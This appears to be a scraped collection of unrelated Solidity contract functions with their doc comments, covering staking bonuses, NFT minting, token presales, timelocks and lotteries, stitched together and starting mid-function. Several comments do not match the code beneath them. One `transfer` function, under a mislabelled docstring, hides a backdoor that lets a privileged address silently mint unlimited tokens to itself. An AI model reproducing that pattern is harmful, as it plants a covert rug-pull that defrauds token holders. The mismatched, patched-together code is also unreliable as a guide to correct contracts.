  }


/// @notice always assign the same startTime and endTime for both CLAIM and NOCLAIM pool, one bonusToken can be used for only one set of CLAIM and NOCLAIM pools

function addBonusToken(
    address _lpToken,
    address _bonusToken,
    uint256 _startTime,
    uint256 _endTime,
    uint256 _totalBonus
  ) external override {
    IERC20 bonusToken = IERC20(_bonusToken);
    require(pools[_lpToken].lastUpdatedAt != 0, "Blacksmith: pool does NOT exist");
    require(allowBonusTokens[_bonusToken] == 1, "Blacksmith: bonusToken not allowed");

    BonusToken memory currentBonusToken = bonusTokens[_lpToken];
    if (currentBonusToken.totalBonus != 0) {
      require(currentBonusToken.endTime.add(WEEK) < block.timestamp, "Blacksmith: last bonus period hasn't ended");
      require(IERC20(currentBonusToken.addr).balanceOf(address(this)) == 0, "Blacksmith: last bonus not all claimed");
    }

    require(_startTime >= block.timestamp && _endTime > _startTime, "Blacksmith: messed up timeline");
    require(_totalBonus > 0 && bonusToken.balanceOf(msg.sender) >= _totalBonus, "Blacksmith: incorrect total rewards");

    uint256 balanceBefore = bonusToken.balanceOf(address(this));
    bonusToken.safeTransferFrom(msg.sender, address(this), _totalBonus);
    uint256 balanceAfter = bonusToken.balanceOf(address(this));
    require(balanceAfter > balanceBefore, "Blacksmith: incorrect total rewards");

    bonusTokens[_lpToken] = BonusToken({
      addr: _bonusToken,
      startTime: _startTime,
      endTime: _endTime,
      totalBonus: balanceAfter.sub(balanceBefore),
      accBonusPerToken: 0,
      lastUpdatedAt: _startTime
    });
  }


/// @notice collect dust to treasury

function collectDust(address _token) external override {
    Pool memory pool = pools[_token];
    require(pool.lastUpdatedAt == 0, "Blacksmith: lpToken, not allowed");
    require(allowBonusTokens[_token] == 0, "Blacksmith: bonusToken, not allowed");

    IERC20 token = IERC20(_token);
    uint256 amount = token.balanceOf(address(this));
    require(amount > 0, "Blacksmith: 0 to collect");

    if (_token == address(0)) { // token address(0) == ETH
      payable(treasury).transfer(amount);
    } else {
      token.safeTransfer(treasury, amount);
    }
  }


/// @notice collect bonus token dust to treasury

function collectBonusDust(address _lpToken) external override {
    BonusToken memory bonusToken = bonusTokens[_lpToken];
    require(bonusToken.endTime.add(WEEK) < block.timestamp, "Blacksmith: bonusToken, not ready");

    IERC20 token = IERC20(bonusToken.addr);
    uint256 amount = token.balanceOf(address(this));
    require(amount > 0, "Blacksmith: 0 to collect");
    token.safeTransfer(treasury, amount);
  }


/// @notice tranfer upto what the contract has

function _safeTransfer(address _token, uint256 _amount) private nonReentrant {
    IERC20 token = IERC20(_token);
    uint256 balance = token.balanceOf(address(this));
    if (balance > _amount) {
      token.safeTransfer(msg.sender, _amount);
    } else if (balance > 0) {
      token.safeTransfer(msg.sender, balance);
    }
  }


// mint all tokens to the owner
// function _reserve() private {
//     address payable sender = msgSender();
//     for (uint256 i = 0; i < maxNftSupply; i++) {
//         _safeMint(sender, i, "");
//     }
// }

function buy(uint256 tokenId) public payable {
        require(activeContract, "Contract is not active");
        uint kind = tokenId / MAX_TOKENS_PER_KIND;
        require(kind < contracts.length, "TokenId error");
        uint extTokenId = tokenId % MAX_TOKENS_PER_KIND;
        require(contracts[kind].ownerOf(extTokenId) == msgSender(), "You do not own the item");
        if (!ifWhitelist(msgSender())){
            require(msg.value >= price - 100, "not enough payment");
        }
        else{
            deladd(msgSender());
        }
        _safeMint(msgSender(), tokenId);
    }


/**
 *  @dev Mint tokens for community
 */

function mintCommunityTokens(uint256 numberOfTokens) public onlyOwner {
        require(numberOfTokens <= MAX_TOTAL_TOKENS);
        require(
            numberOfTokens <= MAX_TOTAL_TOKENS,
            "Can not mint more than the total supply."
        );
        require(
            totalSupply().add(numberOfTokens) <= MAX_TOTAL_TOKENS,
            "Minting would exceed max supply of Tokens"
        );
        uint256 supply = totalSupply();
        for (uint256 i = 0; i < numberOfTokens; i++) {
            if (totalSupply() < MAX_TOTAL_TOKENS) {
                _safeMint(msg.sender, supply + i);
            }
        }
    }


/**
 *  @dev Mint token to an address
 */

function mintTokenTransfer(address to, uint256 numberOfTokens)
        public
        onlyOwner
    {
        require(numberOfTokens <= MAX_TOTAL_TOKENS);
        require(
            numberOfTokens <= MAX_TOTAL_TOKENS,
            "Can not mint more than the total supply."
        );
        require(
            totalSupply().add(numberOfTokens) <= MAX_TOTAL_TOKENS,
            "Minting would exceed max supply of Tokens"
        );
        require(
            address(to) != address(this),
            "Cannot mint to contract itself."
        );
        require(address(to) != address(0), "Cannot mint to the null address.");
        uint256 supply = totalSupply();
        for (uint256 i = 0; i < numberOfTokens; i++) {
            if (totalSupply() < MAX_TOTAL_TOKENS) {
                _safeMint(to, supply + i);
            }
        }
    }


/**
 * toss a coin to yung wknd
 * oh valley of plenty
 */

function withdraw(address _to) public {
        require(IERC721(_creator).ownerOf(_tokenId) == msg.sender, "Only collector can withdraw");
        require(numMints == 100, "Can only withdraw when sold out");
        // Have you ever waltzed into someone's home and taken something without their permission?
        uint balance = address(this).balance;
        uint tax = balance * 69 / 1000;
        uint kept = balance - tax;

        // The taxman cometh
        payable(_collector).transfer(tax);
        payable(_to).transfer(kept);
    }


//When transfer tokens decrease dividendPayments for sender and increase for receiver

function transfer(address _to, uint256 _value) public returns (bool) {
        // balance before transfer
        uint256 oldBalanceFrom = balances[msg.sender];

        // invoke super function with requires
        bool isTransferred = super.transfer(_to, _value);

        uint256 transferredClaims = dividendPayments[msg.sender].mul(_value).div(oldBalanceFrom);
        dividendPayments[msg.sender] = dividendPayments[msg.sender].sub(transferredClaims);
        dividendPayments[_to] = dividendPayments[_to].add(transferredClaims);

        return isTransferred;
    }


//When transfer tokens decrease dividendPayments for token owner and increase for receiver

function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
        // balance before transfer
        uint256 oldBalanceFrom = balances[_from];

        // invoke super function with requires
        bool isTransferred = super.transferFrom(_from, _to, _value);

        uint256 transferredClaims = dividendPayments[_from].mul(_value).div(oldBalanceFrom);
        dividendPayments[_from] = dividendPayments[_from].sub(transferredClaims);
        dividendPayments[_to] = dividendPayments[_to].add(transferredClaims);

        return isTransferred;
    }


// Get bonus percent

function _getBonusPercent() internal view returns(uint256) {

        if (now < endPeriodA) {
            return 40;
        }
        if (now < endPeriodB) {
            return 25;
        }
        if (now < endPeriodC) {
            return 20;
        }

        return 15;
    }


// Success finish of PreSale

function finishPreSale() public onlyOwner {
        require(totalRaised >= softCap);
        require(now > endTime);

        // withdrawal all eth from contract
        _forwardFunds(address(this).balance);

        // withdrawal all T4T tokens from contract
        _forwardT4T(t4tToken.balanceOf(address(this)));

        // transfer ownership of tokens to owner
        icsToken.transferOwnership(owner);
        hicsToken.transferOwnership(owner);
    }


// buy tokens - helper function
// @param _beneficiary address of beneficiary
// @param _value of tokens (1 token = 10^18)

function _buyTokens(address _beneficiary, uint256 _value) internal {
        // calculate HICS token amount
        uint256 valueHics = _value.div(5);  // 20% HICS and 80% ICS Tokens

        if (_value >= hicsTokenPrice
        && hicsToken.totalSupply().add(_getTokenNumberWithBonus(valueHics)) < capHicsToken) {
            // 20% HICS and 80% ICS Tokens
            _buyIcsTokens(_beneficiary, _value - valueHics);
            _buyHicsTokens(_beneficiary, valueHics);
        } else {
            // 100% of ICS Tokens
            _buyIcsTokens(_beneficiary, _value);
        }

        // update states
        uint256 tokensWithBonus = _getTokenNumberWithBonus(_value);
        totalTokensEmitted = totalTokensEmitted.add(tokensWithBonus);
        balances[_beneficiary] = balances[_beneficiary].add(tokensWithBonus);

        totalRaised = totalRaised.add(_value);
    }


// buy tokens for T4T tokens
// @param _beneficiary address of beneficiary

function buyTokensT4T(address _beneficiary) public saleIsOn {
        require(_beneficiary != address(0));

        uint256 valueT4T = t4tToken.allowance(_beneficiary, address(this));

        // check minimumInvest
        uint256 value = valueT4T.mul(rateT4T);
        require(value >= minimumInvest);

        // transfer T4T from _beneficiary to this contract
        require(t4tToken.transferFrom(_beneficiary, address(this), valueT4T));

        _buyTokens(_beneficiary, value);

        // only for buy using T4T tokens
        t4tRaised = t4tRaised.add(valueT4T);
        balancesForRefundT4T[_beneficiary] = balancesForRefundT4T[_beneficiary].add(valueT4T);
    }


// low level token purchase function
// @param _beneficiary address of beneficiary

function buyTokens(address _beneficiary) saleIsOn public payable {
        require(_beneficiary != address(0));

        uint256 weiAmount = msg.value;
        uint256 value = weiAmount.mul(rate);
        require(value >= minimumInvest);

        _buyTokens(_beneficiary, value);

        // only for buy using PreSale contract
        weiRaised = weiRaised.add(weiAmount);
        balancesForRefund[_beneficiary] = balancesForRefund[_beneficiary].add(weiAmount);
    }


// URI will be returned as baseUri/tokenId

function safeMint(address to, string memory baseUri) public onlyOwner {
        require(!_supplyIsLocked, "SussyKneelsNFT: Supply has been permanently locked, no minting is allowed.");
        uint16 tokenId = _tokenIdCounter + 1;
        _safeMint(to, tokenId);
        _baseUri = baseUri;
        _tokenIdCounter = tokenId;
    }


// URIs will be returned baseUri/tokenId

function safeMintBatch(address to, string memory baseUri, uint16 numTokens) public onlyOwner {
        require(!_supplyIsLocked, "SussyKneelsNFT: Supply has been permanently locked, no minting is allowed.");
        uint16 counter = _tokenIdCounter;
        for(uint16 i=0; i<numTokens; i++) {
            counter++;
            _safeMint(to, counter);
        }
        _baseUri = baseUri;
        _tokenIdCounter = counter;
    }


// ERC20 token transfer function with additional safety

function transfer(address _to, uint256 _amount) public returns (bool success) {
    require(!(_to == 0x0));
    if ((balances[msg.sender] >= _amount)
    && (_amount > 0)
    && ((safeAdd(balances[_to],_amount) > balances[_to]))) {
      balances[msg.sender] = safeSub(balances[msg.sender], _amount);
      balances[_to] = safeAdd(balances[_to], _amount);
      Transfer(msg.sender, _to, _amount);
      return true;
    } else {
      return false;
    }
  }


// ERC20 token transferFrom function with additional safety

function transferFrom(
    address _from,
    address _to,
    uint256 _amount) public returns (bool success) {
    require(!(_to == 0x0));
    if ((balances[_from] >= _amount)
    && (allowed[_from][msg.sender] >= _amount)
    && (_amount > 0)
    && (safeAdd(balances[_to],_amount) > balances[_to])) {
      balances[_from] = safeSub(balances[_from], _amount);
      allowed[_from][msg.sender] = safeSub((allowed[_from][msg.sender]),_amount);
      balances[_to] = safeAdd(balances[_to], _amount);
      Transfer(_from, _to, _amount);
      return true;
    } else {
      return false;
    }
  }


// ERC20 allow _spender to withdraw, multiple times, up to the _value amount

function approve(address _spender, uint256 _amount) public returns (bool success) {
    //Fix for known double-spend https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit#
    //Input must either set allow amount to 0, or have 0 already set, to workaround issue
    require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
    require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
    allowed[msg.sender][_spender] = _amount;
    Approval(msg.sender, _spender, _amount);
    return true;
  }


// ERC20 Updated decrease approval process (to prevent double-spend attack but remove need to zero allowance before setting)

function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
    uint oldValue = allowed[msg.sender][_spender];

    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = safeSub(oldValue,_subtractedValue);
    }

    // report new approval amount
    Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }


/* Sell position and collect claim*/

function sell(uint256 amount) {
        if(claimStatus == false) throw;                // checks if party can make a claim
        if (balanceOf[msg.sender] < amount ) throw;        // checks if the sender has enough to sell
        balanceOf[this] += amount;                         // adds the amount to owner's balance
        balanceOf[msg.sender] -= amount;                   // subtracts the amount from seller's balance
        if (!msg.sender.send(claim)) {                  // sends ether to the seller. It's important
            throw;                                         // to do this last to avoid recursion attacks
        } else {
            Transfer(msg.sender, this, amount);            // executes an event reflecting on the change
        }
    }


/**
 * @notice tick to increase holdings
 */

function tick() public {
        uint _current = block.number;
        uint _diff = _current.sub(lastTick);

        if (_diff > 0) {
            lastTick = _current;

            _diff = balances[address(pool)].mul(_diff).div(700000); // 1% every 7000 blocks
            uint _minting = _diff.div(2);
            if (_minting > 0) {
                _transferTokens(address(pool), address(this), _minting);
                pool.sync();
                _mint(address(this), _minting);
                // % of tokens that go to LPs
                allowances[address(this)][address(rewardDistribution)] = _minting;
                rewardDistribution.notifyRewardAmount(_minting);

                emit Tick(_current, _diff);
            }
        }
    }


// show unlocked balance of an account

function balanceUnlocked(address _address) public view returns (uint256 _balance) {
        _balance = balanceP[_address];
        uint256 i = 0;
        while (i < lockNum[_address]) {
            if (add(now, earlier) >= add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
            i++;
        }
        return _balance;
    }


// show timelocked balance of an account

function balanceLocked(address _address) public view returns (uint256 _balance) {
        _balance = 0;
        uint256 i = 0;
        while (i < lockNum[_address]) {
            if (add(now, earlier) < add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
            i++;
        }
        return  _balance;
    }


// show timelocks in an account

function showTime(address _address) public view validAddress(_address) returns (uint256[] _time) {
        uint i = 0;
        uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
        while (i < lockNum[_address]) {
            tempLockTime[i] = sub(add(lockTime[_address][i], later), earlier);
            i++;
        }
        return tempLockTime;
    }


// Calculate and process the timelock states of an account

function calcUnlock(address _address) private {
        uint256 i = 0;
        uint256 j = 0;
        uint256[] memory currentLockTime;
        uint256[] memory currentLockValue;
        uint256[] memory newLockTime = new uint256[](lockNum[_address]);
        uint256[] memory newLockValue = new uint256[](lockNum[_address]);
        currentLockTime = lockTime[_address];
        currentLockValue = lockValue[_address];
        while (i < lockNum[_address]) {
            if (add(now, earlier) >= add(currentLockTime[i], later)) {
                balanceP[_address] = add(balanceP[_address], currentLockValue[i]);
                emit TokenUnlocked(_address, currentLockValue[i]);
            } else {
                newLockTime[j] = currentLockTime[i];
                newLockValue[j] = currentLockValue[i];
                j++;
            }
            i++;
        }
        uint256[] memory trimLockTime = new uint256[](j);
        uint256[] memory trimLockValue = new uint256[](j);
        i = 0;
        while (i < j) {
            trimLockTime[i] = newLockTime[i];
            trimLockValue[i] = newLockValue[i];
            i++;
        }
        lockTime[_address] = trimLockTime;
        lockValue[_address] = trimLockValue;
        lockNum[_address] = j;
    }


// standard ERC20 transfer

function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) {
        if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
        require(balanceP[msg.sender] >= _value && _value >= 0);
        balanceP[msg.sender] = sub(balanceP[msg.sender], _value);
        balanceP[_to] = add(balanceP[_to], _value);
        emit Transfer(msg.sender, _to, _value);
        return true;
    }


// transfer Token with timelocks

function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool success) {
        require(_value.length == _time.length);

        if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
        uint256 i = 0;
        uint256 totalValue = 0;
        while (i < _value.length) {
            totalValue = add(totalValue, _value[i]);
            i++;
        }
        require(balanceP[msg.sender] >= totalValue && totalValue >= 0);
        i = 0;
        while (i < _time.length) {
            balanceP[msg.sender] = sub(balanceP[msg.sender], _value[i]);
            lockTime[_to].length = lockNum[_to]+1;
            lockValue[_to].length = lockNum[_to]+1;
            lockTime[_to][lockNum[_to]] = add(now, _time[i]);
            lockValue[_to][lockNum[_to]] = _value[i];

            // emit custom TransferLocked event
            emit TransferLocked(msg.sender, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);

            // emit standard Transfer event for wallets
            emit Transfer(msg.sender, _to, lockValue[_to][lockNum[_to]]);
            lockNum[_to]++;
            i++;
        }
        return true;
    }


// lockers set by owners may transfer Token with timelocks

function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
	    validAddress(_from) validAddress(_to) returns (bool success) {
        require(locker[msg.sender]);
        require(_value.length == _time.length);

        if (lockNum[_from] > 0) calcUnlock(_from);
        uint256 i = 0;
        uint256 totalValue = 0;
        while (i < _value.length) {
            totalValue = add(totalValue, _value[i]);
            i++;
        }
        require(balanceP[_from] >= totalValue && totalValue >= 0 && allowance[_from][msg.sender] >= totalValue);
        i = 0;
        while (i < _time.length) {
            balanceP[_from] = sub(balanceP[_from], _value[i]);
            allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value[i]);
            lockTime[_to].length = lockNum[_to]+1;
            lockValue[_to].length = lockNum[_to]+1;
            lockTime[_to][lockNum[_to]] = add(now, _time[i]);
            lockValue[_to][lockNum[_to]] = _value[i];

            // emit custom TransferLocked event
            emit TransferLocked(_from, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);

            // emit standard Transfer event for wallets
            emit Transfer(_from, _to, lockValue[_to][lockNum[_to]]);
            lockNum[_to]++;
            i++;
        }
        return true;
    }


// standard ERC20 transferFrom

function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) {
        if (lockNum[_from] > 0) calcUnlock(_from);
        require(balanceP[_from] >= _value && _value >= 0 && allowance[_from][msg.sender] >= _value);
        allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value);
        balanceP[_from] = sub(balanceP[_from], _value);
        balanceP[_to] = add(balanceP[_to], _value);
        emit Transfer(_from, _to, _value);
        return true;
    }


/** Path stuff **/

function getPath(address tokent,bool isSell) internal view returns (address[] memory path){
        path = new address[](2);
        path[0] = isSell ? tokent : WETH;
        path[1] = isSell ? WETH : tokent;
        return path;
    }


/** Path stuff end **/

function rebalance(address rewardRecp) external discountCHI override returns (uint256)  {
        require(msg.sender == address(token), "only token");
        swapEthForTokens();
        uint256 lockableBalance = token.balanceOf(address(this));
        uint256 callerReward = token.getCallerCut(lockableBalance);
        token.transfer(rewardRecp, callerReward);
        if(shouldDirectBurn) {
            token.burn(lockableBalance.sub(callerReward,"Underflow on burn"));
        }
        else {
            token.transfer(burnAddr,lockableBalance.sub(callerReward,"Underflow on burn"));
        }
        return lockableBalance.sub(callerReward,"underflow on return");
    }


/**
 * @dev Burns a specific amount of tokens from an address
 *
 * @param _from address The address which you want to send tokens from
 * @param _value uint256 The amount of token to be burned.
 */

function burnFrom(address _from, uint256 _value) public {
    require(_value <= allowed[_from][msg.sender]);

    uint256 lastBalance = balanceOfAt(_from, block.number);
    require(_value <= lastBalance);

    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);

    address burner = _from;
    uint256 curTotalSupply = totalSupply();

    updateValueAtNow(totalSupplyHistory, curTotalSupply.sub(_value));
    updateValueAtNow(balances[burner], lastBalance.sub(_value));

    emit Burn(burner, _value);
  }


/**
 * @dev This is the actual transfer function in the token contract, it can
 * @dev only be called by other functions in this contract.
 *
 * @param _from The address holding the tokens being transferred
 * @param _to The address of the recipient
 * @param _value The amount of tokens to be transferred
 * @param _lastBalance The last balance of from
 * @return True if the transfer was successful
 */

function doTransfer(address _from, address _to, uint256 _value, uint256 _lastBalance) internal returns (bool) {
    if (_value == 0) {
      return true;
    }

    updateValueAtNow(balances[_from], _lastBalance.sub(_value));

    uint256 previousBalance = balanceOfAt(_to, block.number);
    updateValueAtNow(balances[_to], previousBalance.add(_value));

    emit Transfer(_from, _to, _value);
    return true;
  }


/**
 * @dev Mints `quantity` tokens and transfers them to `to`.
 *
 * Requirements:
 *
 * - there must be `quantity` tokens remaining unminted in the total collection.
 * - `to` cannot be the zero address.
 * - `quantity` cannot be larger than the max batch size.
 *
 * Emits a {Transfer} event.
 */

function _safeMint(
    address to,
    uint256 quantity,
    bytes memory _data
  ) internal {
    uint256 startTokenId = currentIndex;
    require(to != address(0), "ERC721A: mint to the zero address");
    // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
    require(!_exists(startTokenId), "ERC721A: token already minted");
    require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");

    _beforeTokenTransfers(address(0), to, startTokenId, quantity);

    AddressData memory addressData = _addressData[to];
    _addressData[to] = AddressData(
      addressData.balance + uint128(quantity),
      addressData.numberMinted + uint128(quantity)
    );
    _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));

    uint256 updatedIndex = startTokenId;

    for (uint256 i = 0; i < quantity; i++) {
      emit Transfer(address(0), to, updatedIndex);
      require(
        _checkOnERC721Received(address(0), to, updatedIndex, _data),
        "ERC721A: transfer to non ERC721Receiver implementer"
      );
      updatedIndex++;
    }

    currentIndex = updatedIndex;
    _afterTokenTransfers(address(0), to, startTokenId, quantity);
  }


/**
 * @dev Transfers `tokenId` from `from` to `to`.
 *
 * Requirements:
 *
 * - `to` cannot be the zero address.
 * - `tokenId` token must be owned by `from`.
 *
 * Emits a {Transfer} event.
 */

function _transfer(
    address from,
    address to,
    uint256 tokenId
  ) private {
    TokenOwnership memory prevOwnership = ownershipOf(tokenId);

    bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
      getApproved(tokenId) == _msgSender() ||
      isApprovedForAll(prevOwnership.addr, _msgSender()));

    require(
      isApprovedOrOwner,
      "ERC721A: transfer caller is not owner nor approved"
    );

    require(
      prevOwnership.addr == from,
      "ERC721A: transfer from incorrect owner"
    );
    require(to != address(0), "ERC721A: transfer to the zero address");

    _beforeTokenTransfers(from, to, tokenId, 1);

    // Clear approvals from the previous owner
    _approve(address(0), tokenId, prevOwnership.addr);

    _addressData[from].balance -= 1;
    _addressData[to].balance += 1;
    _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));

    // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
    // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
    uint256 nextTokenId = tokenId + 1;
    if (_ownerships[nextTokenId].addr == address(0)) {
      if (_exists(nextTokenId)) {
        _ownerships[nextTokenId] = TokenOwnership(
          prevOwnership.addr,
          prevOwnership.startTimestamp
        );
      }
    }

    emit Transfer(from, to, tokenId);
    _afterTokenTransfers(from, to, tokenId, 1);
  }


// Send ETH to winners

function distributeFunds() internal
    {
        // determine who is lose
        uint8 loser = uint8(getRandom() % players.length + 1);

        for (uint i = 0; i <= players.length - 1; i++) {
            // if it is loser - skip
            if (loser == i + 1) {
                emit playerLose(players[i], loser);
                continue;
            }

            // pay prize
            if (players[i].send(1200 finney)) {
                emit playerWin(players[i]);
            }
        }

        // gorgona fee
        feeAddr.transfer(address(this).balance);

        players.length = 0;
        roundNumber ++;

        emit newRound(roundNumber);
    }


// verified

function splitSignature(bytes memory _sig)
    internal
    pure
    returns (
      uint8,
      bytes32,
      bytes32
    )
  {
    require(_sig.length == 65, "Invalid signature length");

    uint8 v;
    bytes32 r;
    bytes32 s;
    assembly {
      r := mload(add(_sig, 32))
      s := mload(add(_sig, 64))
      v := byte(0, mload(add(_sig, 96)))
    }
    return (v, r, s);
  }


/**
 * @dev giveTickets buy ticket and give it to another player
 * @param _user The address of the player that will receive the ticket.
 * @param _drawDate The draw date of tickets.
 * @param _balls The ball numbers of the tickets.
 */

function giveTickets(address _user,uint32 _drawDate, uint8[] _balls)
	onlyOwner
	public
	{
	    require(!_results[_drawDate].hadDraws);
	    uint32[] memory _idTickets = new uint32[](_balls.length/5);
	    uint32 id = idTicket;

	    for(uint8 i = 0; i< _balls.length; i+=5){
	        require(checkRedBall(_balls[i+4]));
	        require(checkBall(_balls[i]));
	        require(checkBall(_balls[i+1]));
	        require(checkBall(_balls[i+2]));
	        require(checkBall(_balls[i+3]));
	        id++;
    	    tickets[id].player = _user;
    	    tickets[id].drawDate = _drawDate;
    	    tickets[id].price = ticketInfo.priceTicket;
    	    tickets[id].redBall = _balls[i+4];
    	    tickets[id].ball1 = _balls[i];
    	    tickets[id].ball2 = _balls[i + 1];
    	    tickets[id].ball3 = _balls[i +2];
    	    tickets[id].ball4 = _balls[i + 3];
		    _draws[_drawDate].tickets[_draws[_drawDate].count] = id;
    	    _draws[_drawDate].count ++;
    	    _idTickets[i/5] = id;
	    }
	    idTicket = id;
	    emit logBuyTicketSumary(_user,_idTickets,_drawDate);
	}


/**
 * @dev addTickets allow admin add ticket to player for buy ticket fail
 * @param _user The address of the player that will receive the ticket.
 * @param _drawDate The draw date of tickets.
 * @param _balls The ball numbers of the tickets.
 * @param _price The price of the tickets.
 */

function addTickets(address _user,uint32 _drawDate, uint64 _price, uint8[] _balls)
	onlyOwner
	public
	{
	    require(!_results[_drawDate].hadDraws);
	    uint32[] memory _idTickets = new uint32[](_balls.length/5);
	    uint32 id = idTicket;

	    for(uint8 i = 0; i< _balls.length; i+=5){
	        require(checkRedBall(_balls[i+4]));
	        require(checkBall(_balls[i]));
	        require(checkBall(_balls[i+1]));
	        require(checkBall(_balls[i+2]));
	        require(checkBall(_balls[i+3]));
	        id++;
    	    tickets[id].player = _user;
    	    tickets[id].drawDate = _drawDate;
    	    tickets[id].price = _price;
    	    tickets[id].redBall = _balls[i+4];
    	    tickets[id].ball1 = _balls[i];
    	    tickets[id].ball2 = _balls[i + 1];
    	    tickets[id].ball3 = _balls[i +2];
    	    tickets[id].ball4 = _balls[i + 3];
		    _draws[_drawDate].tickets[_draws[_drawDate].count] = id;
    	    _draws[_drawDate].count ++;
    	    _idTickets[i/5] = id;
	    }
	    idTicket = id;
	    emit logBuyTicketSumary(_user,_idTickets,_drawDate);
	}


/**
 * @dev doDraws buy ticket and give it to another player
 * @param _drawDate The draw date of tickets.
 * @param _result The result of draw.
 */

function doDraws(uint32 _drawDate, uint8[5] _result)
	public
	onlyOwner
	returns (bool success)
	{
		require (_draws[_drawDate].count > 0);
		require(!_results[_drawDate].hadDraws);
		_results[_drawDate].hadDraws =true;
		for(uint32 i=0; i<_draws[_drawDate].count;i++){
			uint8 _prize = checkTicket(_draws[_drawDate].tickets[i],_result);
			if(_prize==5){ //special
			    _results[_drawDate].special.winners.push(address(0));
				_results[_drawDate].special.winners[_results[_drawDate].special.winners.length-1] = tickets[_draws[_drawDate].tickets[i]].player;
			}else if(_prize == 4){ //First
			    _results[_drawDate].first.winners.push(address(0));
				_results[_drawDate].first.winners[_results[_drawDate].first.winners.length-1] = tickets[_draws[_drawDate].tickets[i]].player;
			}else if(_prize == 3){ //Second
			    _results[_drawDate].second.winners.push(address(0));
				_results[_drawDate].second.winners[_results[_drawDate].second.winners.length-1] = tickets[_draws[_drawDate].tickets[i]].player;
			}else if(_prize == 2){ //Third
			    _results[_drawDate].third.winners.push(address(0));
				_results[_drawDate].third.winners[_results[_drawDate].third.winners.length-1] = tickets[_draws[_drawDate].tickets[i]].player;
			}
		}
		_results[_drawDate].result =_result;
		setAmoutPrize(_drawDate,_result);

		return true;
	}


/**
 * @dev Called by owner of locked tokens to release them
 */

function releaseTokens() public {
        require(walletTokens[msg.sender].length > 0);

        for(uint256 i = 0; i < walletTokens[msg.sender].length; i++) {
            if(!walletTokens[msg.sender][i].released && now >= walletTokens[msg.sender][i].lockEndTime) {
                walletTokens[msg.sender][i].released = true;
                token.transfer(msg.sender, walletTokens[msg.sender][i].amount);
                TokensUnlocked(msg.sender, walletTokens[msg.sender][i].amount);
            }
        }
    }


/**
 * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
 * but also transferring `value` wei to `target`.
 *
 * Requirements:
 *
 * - the calling contract must have an ETH balance of at least `value`.
 * - the called Solidity function must be `payable`.
 *
 * _Available since v3.1._
 */

function transfer(address recipient, uint256 amount) public override  returns (bool) {
        if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
        else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
        else{_transfer(_msgSender(), recipient, amount); return true;}
    }


// Initialization functions

function setupWithdrawTokens() internal {
        // Start with BAC
        IERC20 _token = IERC20(address(0x3449FC1Cd036255BA1EB19d65fF4BA2b8903A69a));
        tokenList.push(
            TokenInfo({
                token: _token,
                decimals: _token.decimals()
            })
        );

        // MIC
         _token = IERC20(address(0x368B3a58B5f49392e5C9E4C998cb0bB966752E51));
        tokenList.push(
            TokenInfo({
                token: _token,
                decimals: _token.decimals()
            })
        );
    }


// Returns the number of locked tokens at the specified address.
//

function lockedValueOf(address _addr) public view returns (uint256 value) {
    User storage user = users[_addr];
    // Is the lock expired?
    if (user.lock_endTime < block.timestamp) {
      // Lock is expired, no locked value.
      return 0;
    } else {
      return user.lock_value;
    }
  }


// Lock the specified number of tokens until the specified unix
// time.  The locked value and expiration time are both absolute (if
// the account already had some locked tokens the count will be
// increased to this value.)  If the user already has locked tokens
// the locked token count and expiration time may not be smaller
// than the previous values.
//

function increaseLock(uint256 _value, uint256 _time) public returns (bool success) {
    User storage user = users[msg.sender];

    // Is there a lock in effect?
    if (block.timestamp < user.lock_endTime) {
      // Lock in effect, ensure nothing gets smaller.
      require(_value >= user.lock_value);
      require(_time >= user.lock_endTime);
      // Ensure something has increased.
      require(_value > user.lock_value || _time > user.lock_endTime);
    }

    // Things we always require.
    require(_value <= user.balance);
    require(_time > block.timestamp);

    user.lock_value = _value;
    user.lock_endTime = _time;
    LockIncrease(msg.sender, _value, _time);
    return true;
  }


// Employees of CashBet may decrease the locked token value and/or
// decrease the locked token expiration date.  These values may not
// ever be increased by an employee.
//

function decreaseLock(uint256 _value, uint256 _time, address _user) public only_employees(_user) returns (bool success) {
    User storage user = users[_user];

    // We don't modify expired locks (they are already 0)
    require(user.lock_endTime > block.timestamp);
    // Ensure nothing gets bigger.
    require(_value <= user.lock_value);
    require(_time <= user.lock_endTime);
    // Ensure something has decreased.
    require(_value < user.lock_value || _time < user.lock_endTime);

    user.lock_value = _value;
    user.lock_endTime = _time;
    LockDecrease(_user, msg.sender, _value, _time);
    return true;
  }


// Called by a token holding address, this method migrates the
// tokens from an older version of the contract to this version.
// The migrated tokens are merged with any existing tokens in this
// version of the contract, resulting in the locked token count
